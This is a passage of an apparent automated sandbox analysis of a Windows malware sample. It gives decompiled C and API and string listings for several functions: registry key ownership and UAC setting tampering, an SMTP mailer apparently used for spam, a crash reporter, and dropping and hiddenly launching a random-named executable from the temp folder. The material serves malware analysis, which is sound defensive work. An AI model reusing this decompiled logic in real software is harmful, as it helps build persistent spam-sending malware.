0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

D, xrefs: 00407B0C
PromptOnSecureDesktop, xrefs: 00407D39

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: c54c4bbc8ec99a934c913da9c2c3ed3f6144f240b3be651048fadf784f46a92d
Instruction ID: 16be9a1fde8f14235bd80211e243aafb0201130553bb98d18f1299236de088c4
Opcode Fuzzy Hash: c54c4bbc8ec99a934c913da9c2c3ed3f6144f240b3be651048fadf784f46a92d
Instruction Fuzzy Hash: ACA14C71D04219ABDB119FA0DD84EEFBB78FF48304F04807AE505F2290D7799A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x5e, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

Jan 13 2018, xrefs: 0040653A
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
%d=%p, xrefs: 004066F9
12:08:32, xrefs: 00406535
va=%08X%08X uef=%p, xrefs: 00406595
except_info, xrefs: 00406728
localcfg, xrefs: 0040672D
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
plgs:, xrefs: 004066AA

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: b90de3a98ed26af7195d6c430e21dd073139462529909c443086ffd26068662a
Instruction ID: e6dd37f2d7c7e48b8b359c94d8b0a85da35b73f81cc1d7405eac3f4e783bc3bd
Opcode Fuzzy Hash: b90de3a98ed26af7195d6c430e21dd073139462529909c443086ffd26068662a
Instruction Fuzzy Hash: 26615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

ESMTP, xrefs: 0040AA38
quit, xrefs: 0040A86C
ehlo %s, xrefs: 0040A7F5
Too small respons, xrefs: 0040A9C9
Incorrect respons, xrefs: 0040AB39
AUTH LOGIN, xrefs: 0040A80C
Too big smtp respons (%d bytes), xrefs: 0040A9B1
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
rcpt to:<%s>, xrefs: 0040A855
mail from:<%s>, xrefs: 0040A848
., xrefs: 0040A8CA
helo %s, xrefs: 0040A803
data, xrefs: 0040A85E
localcfg, xrefs: 0040AB0B

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
